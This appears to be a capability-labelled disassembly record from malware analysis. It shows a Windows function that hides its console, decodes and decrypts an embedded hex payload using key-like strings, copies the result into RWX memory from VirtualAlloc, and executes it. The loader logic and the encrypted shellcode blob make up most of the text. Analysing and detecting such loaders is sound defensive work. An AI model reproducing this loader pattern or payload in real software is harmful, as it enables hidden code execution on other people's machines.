Function at 0x140002936
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x310
lea rbp, [rsp + 0x80]
call fcn.140002b80
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.b28be4bf25072ccff1f4a1fdead59f406de2925039e602db85f429066f041f7e60fa4fc8bb396b90b845e7c27a5af9b8d09148c3319be5eccce70fce805155434c9bcf973f098bee0da059d9dde84d4e919ac93cb67c9c19715eb6c77dbeb4522d986ff971a2c9ee7ce0c3670ff6eb23283777792586de858a95232f228d46d9e3b9afb9c536811774c4c3cb655976f7b3078db4665a07a15ebbdd37476712e1812c1dc3c97a37096032faad7e46f694d5ded484e4cf5abfe00a7eb8095f86ec8a8d6792a903df6e18ea19beba83d6cdfc235c681afcfe3695cbc619aee149c5b37ff471538a294cc4cfc165b0b076125c420a224e4f2cb80d1fcab0f969f7225bdecc8697943fc67fe554805610ff1be6c7dc3cc37daa7af38f4f5485c62ba7d95b12adf56d5128ef31432a7dd3d71ef9db52d964916ac12de462c4f2ce4cd615d6619ca8bb095c26c01da2cc0f01828a005d671ad069ba308b69fda0ce0c536ddcc7b6af61c79b429445bb8cdb1f38779b82bca5b9b26aa319fc9ce5d5f939eb1b8d4aaa2d7e0f673990fb5602c10830a703ec634c7ff220d71f7ce8e7b81442e1172e4dcc63bcfb28b92b7810cb2bce698b7f2a1e26612c93b0a5fa7d121104e248878b11e398a97a533f
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x28c], eax
lea rax, str.7674754c2b89294a78aa719de5acd2253b1427cb7b101b6280c46c572c4f2076
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x288], eax
lea rax, str.09cd80ef2ef2cfce6021195d365148bb7a603dcfec330b840bd2fbd650aa9541
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x284], eax
mov eax, dword [rbp + 0x28c]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str.b28be4bf25072ccff1f4a1fdead59f406de2925039e602db85f429066f041f7e60fa4fc8bb396b90b845e7c27a5af9b8d09148c3319be5eccce70fce805155434c9bcf973f098bee0da059d9dde84d4e919ac93cb67c9c19715eb6c77dbeb4522d986ff971a2c9ee7ce0c3670ff6eb23283777792586de858a95232f228d46d9e3b9afb9c536811774c4c3cb655976f7b3078db4665a07a15ebbdd37476712e1812c1dc3c97a37096032faad7e46f694d5ded484e4cf5abfe00a7eb8095f86ec8a8d6792a903df6e18ea19beba83d6cdfc235c681afcfe3695cbc619aee149c5b37ff471538a294cc4cfc165b0b076125c420a224e4f2cb80d1fcab0f969f7225bdecc8697943fc67fe554805610ff1be6c7dc3cc37daa7af38f4f5485c62ba7d95b12adf56d5128ef31432a7dd3d71ef9db52d964916ac12de462c4f2ce4cd615d6619ca8bb095c26c01da2cc0f01828a005d671ad069ba308b69fda0ce0c536ddcc7b6af61c79b429445bb8cdb1f38779b82bca5b9b26aa319fc9ce5d5f939eb1b8d4aaa2d7e0f673990fb5602c10830a703ec634c7ff220d71f7ce8e7b81442e1172e4dcc63bcfb28b92b7810cb2bce698b7f2a1e26612c93b0a5fa7d121104e248878b11e398a97a533f
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x288]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str.7674754c2b89294a78aa719de5acd2253b1427cb7b101b6280c46c572c4f2076
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x284]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rax, str.09cd80ef2ef2cfce6021195d365148bb7a603dcfec330b840bd2fbd650aa9541
mov rcx, rax
call fcn.1400028aa
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1b0]
mov r8, rcx
mov rcx, rax
call fcn.14000171b
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1b0]
mov r8d, 0x1cc
mov rcx, rax
call fcn.14000270f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov rdx, rax
lea rax, [rbp - 0x20]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x278]
call rax
mov eax, 0
add rsp, 0x310
pop rsi
pop rdi
pop rbp
ret